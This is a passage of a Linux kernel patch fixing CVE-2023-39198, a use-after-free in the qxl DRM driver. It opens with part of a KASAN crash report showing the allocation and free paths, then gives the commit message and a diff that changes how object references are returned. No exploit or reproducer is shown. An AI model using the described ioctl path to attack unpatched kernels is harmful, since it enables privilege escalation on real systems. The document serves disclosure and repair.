ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7 RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003 RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000 Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 The buggy address belongs to the object at ffff88801136c000 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400) The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Disabling lock debugging due to kernel taint Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally. The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940). Link: https://www.zerodayinitiative.com/ Signed-off-by: Wander Lairson Costa Cc: stable@vger.kernel.org Reviewed-by: Dave Airlie Signed-off-by: Dave Airlie Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com (cherry picked from commit c611589b4259ed63b9b77be6872b1ce07ec0ac16) CVE-2023-39198 Signed-off-by: Bethany Jamison --- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 ++++- drivers/gpu/drm/qxl/qxl_gem.c | 25 +++++++++++++++++-------- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 ++---- 4 files changed, 24 insertions(+), 14 deletions(-) diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h index 9e034c5fa87d..0bfe62459bca 100644 --- a/drivers/gpu/drm/qxl/qxl_drv.h +++ b/drivers/gpu/drm/qxl/qxl_drv.h @@ -334,7 +334,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle); void qxl_gem_object_free(struct drm_gem_object *gobj); int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv); diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c index 7a79da125547..daba10cc7390 100644 --- a/drivers/gpu/drm/qxl/qxl_dumb.c +++ b/drivers/gpu/drm/qxl/qxl_dumb.c @@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, { struct qxl_device *qdev = dev->dev_private; struct qxl_bo *qobj; + struct drm_gem_object *gobj; uint32_t handle; int r; struct qxl_surface surf; @@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, r = qxl_gem_object_create_with_handle(qdev, file_priv, QXL_GEM_DOMAIN_CPU, - args->size, &surf, &qobj, + args->size, &surf, &gobj, &handle); if (r) return r; + qobj = gem_to_qxl_bo(gobj); qobj->is_dumb = true; + drm_gem_object_put(gobj); args->pitch = pitch; args->handle = handle; return 0; diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c index a6ae0b0594ee..0b0ee872a872 100644 --- a/drivers/gpu/drm/qxl/qxl_gem.c +++ b/drivers/gpu/drm/qxl/qxl_gem.c @@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size, return 0; } +/* + * If the caller passed a valid gobj pointer, it is responsible to call + * drm_gem_object_put() when it no longer needs to acess the object. + * + * If gobj is NULL, it is handled internally. + */ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, struct drm_file *file_priv, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle) { - struct drm_gem_object *gobj; int r; + struct drm_gem_object *local_gobj; - BUG_ON(!qobj); BUG_ON(!handle); r = qxl_gem_object_create(qdev, size, 0, domain, false, false, surf, - &gobj); + &local_gobj); if (r) return -ENOMEM; - r = drm_gem_handle_create(file_priv, gobj, handle); + r = drm_gem_handle_create(file_priv, local_gobj, handle); if (r) return r; - /* drop reference from allocate - handle holds it now */ - *qobj = gem_to_qxl_bo(gobj); - drm_gem_object_put(gobj); + + if (gobj) + *gobj = local_gobj; + else + /* drop reference from allocate - handle holds it now */ + drm_gem_object_put(local_gobj); + return 0; } diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c index 0ab14c17df3f..9a953302b989 100644 --- a/drivers/gpu/drm/qxl/qxl_ioctl.c +++ b/drivers/gpu/drm/qxl/qxl_ioctl.c @@ -39,7 +39,6 @@ static int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct qxl_device *qdev = dev->dev_private; struct drm_qxl_alloc *qxl_alloc = data; int ret; - struct qxl_bo *qobj; uint32_t handle; u32 domain = QXL_GEM_DOMAIN_VRAM; @@ -51,7 +50,7 @@ static int qxl_alloc_ioctl(struct drm_device *dev, void *data, domain, qxl_alloc->size, NULL, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret); @@ -393,7 +392,6 @@ static int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, { struct qxl_device *qdev = dev->dev_private; struct drm_qxl_alloc_surf *param = data; - struct qxl_bo *qobj; int handle; int ret; int size, actual_stride; @@ -413,7 +411,7 @@ static int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, QXL_GEM_DOMAIN_SURFACE, size, &surf, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret);